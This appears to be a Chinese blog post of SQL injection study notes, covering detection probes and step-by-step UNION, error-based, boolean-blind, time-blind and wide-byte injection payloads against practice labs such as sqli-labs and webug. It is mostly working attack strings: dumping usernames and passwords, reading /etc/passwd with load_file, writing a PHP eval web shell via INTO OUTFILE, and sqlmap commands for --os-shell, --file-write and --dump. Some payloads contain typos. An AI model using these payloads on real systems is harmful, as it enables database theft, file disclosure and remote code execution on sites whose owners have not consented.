SQL注入相关知识整理
SQL注入相关知识整理
SQL注入基础
什么是SQL注入
SQL注入(Sql Injection )
是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
这些参数传递给后台的SQL数据库服务器加以解析并执行
哪里存在SQL注入?
- GET
- POST
- HTTP头部注入
- Cookie注入
任何客户端可控,传递到服务器的变量,并且和数据库进行交互,都有可能存在sql注入。
SQL注入的分类
根据SQL数据类型分类
- 整型注入
- 字符串类型注入
根据注入的语法分类
- UNION query SQL injection(可联合查询注入)
- Error-based SQL injection(报错型注入)
- Boolean-based blind SQL injection(布尔型注入)
- Time-based blind SQL injection(基于时间延迟注入)
- Stacked queries SQL injection(可多语句查询注入)
如何去判断SQL注入漏洞
- and 1=1 / and 1=2 回显页面不同(整形判断)
- 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
- \ (转义符)
- -1/+1 回显下一个或上一个页面(整型判断)
- and sleep(5) (判断页面返回时间)
MySQL数据库的特性
MySQL中3种注释风格
- # (url编码为%23)
- – (–后边要跟上一个或多个空格 --+)
- /* … */
- /*! … */ 内联注释
MySQL函数利用
常用函数
- user()
- database()
- @@version
- session_user()
- @@basedir
- @@datadir
- @@version_compile_os
。。。。。
load_file( )函数 读文件操作
前提
- 知道文件绝对路径
- 能够使用union查询
- 对web目录有写权限
- UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
- UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#
into outfile( )写文件操作
前提
- 文件名必须全路径(绝对路径),
- 用户必须有写文件的权限
- 没有对 ‘ 引号过滤
SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’
连接字符串函数
- concat(str1,str2)
- concat_ws(separator, str1,str2…)
- group_concat(str1,str2…)
MySQL中information_scheme库
SCHEMATA表
字段:SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA, TABLE_NAME
COLUMNS表
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
MySQL中UNION规则
- UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
- UNION中的每个查询必须包含相同的列。
- UNION会从查询结果集中自动去除了重复行。
UNION query SQl injection
利用前提
页面上有显示位
优点:
方便、快捷、易于利用
缺点:
需要显示位
步骤
判断列数
order by 10 order by 20 order by 15 …
判断显示位
url?id=-1 union select 1,2,3,4,5
获取当数据库名称和当前连接数据库的用户
url?id=-1 union select 1,2,databaes(),4,5 url?id=-1 union select 1,2,user(),4,5
数据库例举
列出所有数据库
limit 一个一个打印出来库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部显示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
列出(数据库:test)中所有的表
limit 一个一个打印出来字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’ limit 0,1
group_concat 一次性全部显示
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x674657374
注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。
列出(数据库:test 表:admin )中所有的字段
limit 一个一个打印出来
select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
group_concat 一次性全部显示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e
列出(数据库:test 表:admin )中的数据
limit 一个一个打印出来
select username,passwd from test.admin limit 0,1
group_concat 把 一次性全部打印
select group_concat(concat(username,0x20,passwd)) from test.admin network
SQL注入实战
mysql手工注入方法
?id=1%df’(测试是否存在注入,报错则存在)
?id=1%df’-- -(注释后面多余的’limit 0,1 页面正常)
?id=1%df’order by n-- -(order测试字段长度,报错则说明超出最大长度)
?id=-1%df’union select 1,2,3-- -
?id=-1%df’union select 1,2,database()-- -(在页面回显出当前的数据库名字)
?id=-1%df’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出当前数据库的所有表)
?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
(爆出目标表的列名)
?id=0%df‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出目标列的字段名字)
mysql手工注入命令顺序http://219.153.49.228:48120/new_list.php?id=1
首先尝试id=1' and 1=1-- - 或者id=1" and 1=1-- - 或者1") and 1=1-- - 或者 1 and 1=1-- - 假如是id=1' and 1=1-- - 那么and 1=1 就是我们可控的点 接下来在这个位置进行替换就好 http://219.153.49.228:48120/new_list.php?id=1' order by 4-- - 判断字段个数 让id查询不到 显示我们的union select的值 且union select 后的数字遵循order by 判断的值 http://219.153.49.228:48120/new_list.php?id=-1' union select 1,2,3,4-- - 查询当前数据库 http://219.153.49.228:48120/new_list.php?id=-1 union select 1,database(),3,4-- - http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- - (注入出表名) ?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 -- - ?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name="StormGroup_member"-- -(注入出列名) http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="StormGroup_member"-- -(注入出列名) http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(name,0x3a,password),3,4 from StormGroup_member-- -(注入出字段值)
报错注入
注出所有表
http://test
?id=1' and (select 1 from (select count(*),concat(((select (schema_name) from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
http://test?id=2'
and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
当前数据库
http://test
?id=2' and (select 1 from (select count(*),concat(((select concat(database(),';'))),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
当前数据库的表
http://test
?id=2' and (select 1 from (select count(*),concat(((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
列名
http://test
?id=2' and (select 1 from (select count(*),concat(((select concat(column_name,';') from information_schema.columns where table_name='users' limit 5,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
报字段
http://test
?id=2' and (select 1 from (select count(*),concat(((select concat(password,';') from users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
报错注入 http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php ?id=2' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) -- - http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php ?id=2' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- - http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php ?id=2' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name="users" limit 0,1),0x7e),1)-- -
布尔注入
布尔盲注
步入正题~看到网址加单引号
http://localhost/control/sqlinject/bool_injection.php?id=1'
发现页面变了,然后我们就根据页面的变化来判断我们执行的语句是否正确。
然后构造' or 1=1%23
http://localhost/control/sqlinject/bool_injection.php?id=1' or 1=1%23
发现页面又变正常了,注入点就在这了。接下来从1开始判断字段个数
http://localhost/control/sqlinject/bool_injection.php?id=1' order by 3%23
在3时页面发生了变化,得出字段个数为2。然后利用left()函数判断测试出当前数据库名字,可以先判断当前数据库名字长度(可有可无,不过这样心里有底)
http://localhost/control/sqlinject/bool_injection.php?id=1' and length(database())>4%23
就是这样一步一步测试看页面是否发生变化,测试出长度为5
http://localhost/control/sqlinject/bool_injection.php?id=1' and left(database(),1)>'a' %23
调整字符和大于号小于号来判断数据库第一个字符是什么,机智的你想到了二分法能较快定位出第一个字符,结果是’w‘。
那第二个字符怎么判断出来呢?改一下数字?对 但后面得加一个测试字符
http://localhost/control/sqlinject/bool_injection.php?id=1' and left(database(),2)>'wa' %23
最后得出当前数据库名字:webug 心思缜密的你说万一flag不在当前数据库呢,或者我想要其他的数据库的名字呢?别着急,先爆这个当前数据库里面的表
http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1))>98%23
这是在定位webug里第一个表第一个字符,那怎么判断第二个字符呢? 就是修改为substr(***,2,1)
机智的你那么也就想到了判断第二个表的方法 limit 1,1
爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
到这里爆所有数据库名字的方法也就清晰了
http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>97%23
/**************************************************************************************
我毫不犹豫选择了爆flag这个表(大声哭泣)
http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))>100%23
flag表里面有id flag 那flag里面一定有我想要的(信心满满)
http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select flag from flag where id=1 limit 0,1),1,1))>99%23
我尝试修改 limit 1,1报错 id=2也报错
凭借着力大出迹爆出来:dfafdasfafdsadfa
好熟悉的内容这不就是第一关的flag吗?提交后显示错误,后来我看了数据库内容发现flag里就一条内容。。。
也就说真正的flag在其他表里
(宽字节注入)大碗宽面
大碗宽面
mysql手工注入方法
以查找书籍页面为例,post一个name=1给后端,拼接到sql语句select * from books where bookid =‘$id’limit 0,1;
?id=1’(测试是否存在注入,报错则存在)
?id=1’-- -(注释后面多余的’limit 0,1 页面正常)
?id=1’order by n-- -(order测试字段长度,报错则说明超出最大长度)
?id=-1’union select 1,2,3-- -
?id=-1’union select 1,2,database()-- -(在页面回显出当前的数据库名字)
?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出当前数据库的所有表)
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
(爆出目标表的列名)
?id=0‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出目标列的字段名字)
http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,database()--%20-
http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--%20-
notice,stormgroup_member
爆表名的时候要进行hash编码
id=-1%df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x73746F726D67726F75705F6D656D626572-- -
盲注
猜测数据库
?id=1' and length(database())=8-- -
id=1' and left(database(),1)>'a' -- - 1
id=1' and left(database(),1)>'z' -- - 0
在a-z之间
id=1' and left(database(),1)>'r' -- -1
id=1' and left(database(),1)>'s' -- -0
id=1' and left(database(),2)>'sa'-- -
猜测表
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n
a是从0开始第几个表,b是为第几个字符,n是ASCII所对应的十进制数
第一个表
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
第二个表
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101
判断user表
http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23
爆出字段
http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- -
时间盲注和union查询
http://localhost/Tkitn/sqlitest/Less-5/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- -
if(length(database())>=8,sleep(5),1)-- - 判断长度
?id=1' and if(length(database())>=8,sleep(5),1)-- - 数据库
if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)(表名)
http://localhost/Tkitn/sqlilabs/Less-2/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"-- -
http://localhost/Tkitn/sqlilabs/Less-2/?id=-1' union select 1,2,group_concat(concat_ws("-",username,password)) from users-- -
延时注入
猜测sql为:
select * from table where id = $id+(后面可能有的限制语句或嵌套查询语句等等,因此我都习惯在注入语句后面跟注释符屏蔽这些可能的干扰)
标题是延时注入,那么首先想到的就是用sleep()函数来让页面延时打开,进而判断出延时注入点。
假设$id为数字型:
url?id=1 and sleep(1) %23,无反应
假设$id为字符型:
括号:url?id=1) and sleep(1) %23,无反应
双引号:url?id=1" and sleep(1) %23,无反应
单引号:url?id=1' and sleep(1) %23,有反应了,页面有明显的延迟
至此,延时注入点就找到了,我们就可以利用它来获取我们想要的信息了。
比如用户名长度
url?id=1' and sleep(if(length(user())<15,0,3)) %23
url?id=1' and sleep(if(length(user())<15,0,3)) %23
比如操作系统名
url?id=1' and sleep(if("Win32"=@@version_compile_os,0,3)) %23
以上只是说明思路,具体用哪种函数并不重要,不过还是介绍下常用的几种函数:
sleep() //等待一定时间后执行SQL语句,单位为秒,如sleep(3)为等待3秒
if(条件,true,false) //条件为真返回true值,否则返回false值,如if(a=b,0,5)为如果a等于b则返回0,否找返回5。常用条件:=、<、<=、>、>=
length(str) //返回长度
mid(str,start,length) //截取字符串,从1开始,0以及超过长度部分返回NULL
ord(str) //返回字符串第一个字符的 ASCII 值。
注入读文件 写shell操作
检验:less32 改mysql.ini配置 secure-file-priv= sqlmap读文件 sqlmap -u "http://192.168.43.43/sqli-labs-master/Less-1/?id=1" --file-read "C:\phpstudy_pro\WWW\2.php" sqlmap --os-shell 选择 4(PHP) 选择 2(custom location(s)) 网站根目录C:/phpstudy_pro/WWW/ sqlmap 写shell sqlmap -u "url" --file-write ~/Desktop/shellTT.php --file-dest C:/phpstudy_pro/WWW/shellxbw.php 手工写shell http://192.168.43.43/sqli-labs-master/Less-1/?id=1' union select 1,'<?php eval($_POST[a]);?>',3 INTO OUTFILE 'C:/phpstudy_pro/WWW/99.php'-- - 手工读文件 http://192.168.43.43/sqli-labs-master/Less-1/?id=-1' union select 1,load_file("C:/phpstudy_pro/WWW/2.php"),3-- - less-7 也是读文件
利用sqlmap的SQL注入实验
SQL注入就是通过把SQL(Structured Query Language,结构化查询语言)命令插入到提交的Web表单或输入域名或页面请求的查询字符串中,达到欺骗服务器执行恶意的SQL命令的目的。
对于一个存在数据库安全漏洞的网站,SQL注入攻击一般通过构建特殊的输入作为参数传入Web应用程序,使得构造的SQL语句能够在服务器端执行,进而得到攻击者所要的结果,而不是按照设计者意图去执行SQL语句。系统受到SQL注入攻击的主要原因是程序没有细致地过滤用户输入的数据,直接将提交的参数拼接到SQL语句中解析,导致特殊构造的SQL语句可以在服务器端被执行。
sqlmap是一个由Python语言开发的自动化SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。sqlmap常用的注入方法有以下几种:
- 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
- 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
- 联合查询注入,可以使用union的情况下的注入;
- 堆查询注入,可以同时执行多条语句的执行时的注入。
输入“python sqlmap.py --version”检查sqlmap是否安装成功 输入“python sqlmap.py -hh”, “-hh”参数用于查看sqlmap的使用说明 输入“python sqlmap.py -u "http://192.168.117.135/xxx.php?xxx_id=1"”,其中“-u”参数用于指定注入点的URL。 输入“python sqlmap.py –u "http://192.168.117.135/ry.php?ry_id=1" --dbs”,其中参数“--dbs”用于列举数据库。 输入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng --tables”,其中参数“-D”用于指定数据库名称,“--tables”参数用于列举表。 输入“python sqlmap.py -u "http:// 192.168.117.135/ry.php?ry_id=1" -D jnng -T root --columns”,其中参数“-T”用于指定表名称,“--columns”参数用于指定列出表中字段。 输入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”,其中参数“-C”用于指定字段名称,参数“—dump”用于导出数据。
--os-shell
--file-read "/user/www/flag.php
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)